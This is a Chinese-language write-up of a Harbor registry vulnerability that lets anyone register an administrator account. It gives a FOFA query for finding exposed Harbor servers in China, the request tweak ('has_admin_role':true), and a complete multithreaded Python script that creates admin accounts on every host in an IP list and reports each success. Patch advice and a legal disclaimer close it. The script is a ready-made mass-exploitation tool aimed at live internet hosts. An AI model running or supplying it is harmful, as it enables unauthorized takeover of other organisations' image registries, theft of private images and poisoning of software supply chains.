Harbor任意管理員註冊漏洞復現||CVE-2019-1609

0x01 前言

Harbor是一個用於存儲和分發Docker鏡像的企業級Registry服務器,通過添加一些企業必需的功能特性,例如安全、標識和管理等,擴展了開源Docker Distribution。作為一個企業級私有Registry服務器,Harbor提供了更好的性能和安全。提升用戶使用Registry構建和運行環境傳輸鏡像的效率。Harbor支持安裝在多個Registry節點的鏡像資源複製,鏡像全部保存在私有Registry中, 確保數據和知識產權在公司內部網絡中管控。另外,Harbor也提供了高級的安全特性,諸如用戶管理,訪問控制和活動審計等。

0x02 漏洞簡介及危害

因註冊模塊對參數校驗不嚴格,可導致任意管理員註冊。

Harbor 1.7.6之前版本和Harbor 1.8.3之前版本中的core/api/user.go文件存在安全漏洞。若開放註冊功能,攻擊者可利用該漏洞創建admin賬戶。註冊功能默認開放。攻擊者可以以管理員身份下載私有項目並審計;可以刪除或污染所有鏡像。

目前PoC已公開,建議受影響的客戶儘快升級。

0x03 漏洞復現

使用fofa語法搜索

title="Harbor" && country=CN

找到註冊頁面

點擊註冊抓包,改包,在最後數據包加上:

"has_admin_role":true

修改成功,成功添加賬號密碼。並登陸成功!

0x04 批量腳本

腳本來源於T9sec team

import requests  import json  import csv  from concurrent.futures import ThreadPoolExecutor    def exp(url):      url = url + '/api/users'      headers = {          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',          'Content-Type': 'application/json',          }      payload = {          "username": "test1",          "email": "[email protected]",          "realname": "test1",          "password": "Aa123456",          "comment": "test1",          "has_admin_role": True          }      payload = json.dumps(payload)      try:          requests.packages.urllib3.disable_warnings()          r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False)          if r.status_code == 201:              print(url)      except Exception as e:          pass    if __name__ == '__main__':      data = open('ip.txt') # 批量IP      reader = csv.reader(data)      # 50是線程      with ThreadPoolExecutor(50) as pool:          for row in reader:              if 'http' not in row[0]:                  url = 'http://' + row[0]              else:                  url = row[0]              pool.submit(exp, url)

0x05 修復建議

升級到1.7.6及以上版本或者1.8.3及以上版本

臨時緩解方案:

關閉允許自行註冊功能(Allow Self-Registration)

0x06 免責聲明

本文中提到的漏洞利用Poc和腳本僅供研究學習使用,請遵守《網絡安全法》等相關法律法規。